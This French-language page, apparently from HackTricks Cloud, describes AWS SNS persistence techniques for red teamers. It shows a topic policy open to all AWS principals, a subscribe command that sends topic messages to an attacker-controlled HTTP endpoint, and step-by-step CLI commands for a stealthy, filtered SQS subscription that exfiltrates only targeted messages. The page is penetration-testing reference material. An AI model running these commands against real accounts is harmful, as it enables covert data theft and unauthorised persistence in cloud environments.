AWS - SNS Persistence
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SNS
Pour plus d'informations, consultez :
Persistence
Lors de la création d'un SNS topic vous devez indiquer avec une IAM policy qui a accès en lecture et en écriture. Il est possible d'indiquer des comptes externes, ARN of roles, ou même "*".
La policy suivante donne à tout le monde dans AWS l'accès en lecture et en écriture au SNS topic appelé MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Créer des abonnés
Pour continuer à exfiltrer tous les messages de tous les topics, un attaquant pourrait créer des abonnés pour tous les topics.
Notez que si le topic est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Exfiltration covert et sélective via FilterPolicy on MessageBody
Un attaquant disposant de sns:Subscribe et sns:SetSubscriptionAttributes sur un topic peut créer une subscription SQS furtive qui ne transmet que les messages dont le corps JSON correspond à un filtre très restreint (par exemple, {"secret":"true"}). Cela réduit le volume et la détection tout en exfiltrant des enregistrements sensibles.
Impact potentiel : Exfiltration covert et peu bruyante uniquement des messages SNS ciblés depuis un topic victime.
Étapes (AWS CLI) :
- Vérifier que la policy de la queue SQS de l'attaquant autorise
sqs:SendMessagedepuis leTopicArnde la victime (Conditionaws:SourceArnégale auTopicArn). - Créer la subscription SQS au topic :
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Configurer le filtre pour opérer sur le message body et ne faire correspondre que
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Option stealth : activer le raw delivery pour que seul le payload brut arrive chez le destinataire :
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Validation : publier deux messages et confirmer que seul le premier est livré à la queue de l'attaquant. Payloads exemples :
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Nettoyage : unsubscribe et supprimer la queue SQS de l'attaquant si elle a été créée pour les tests de persistence.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud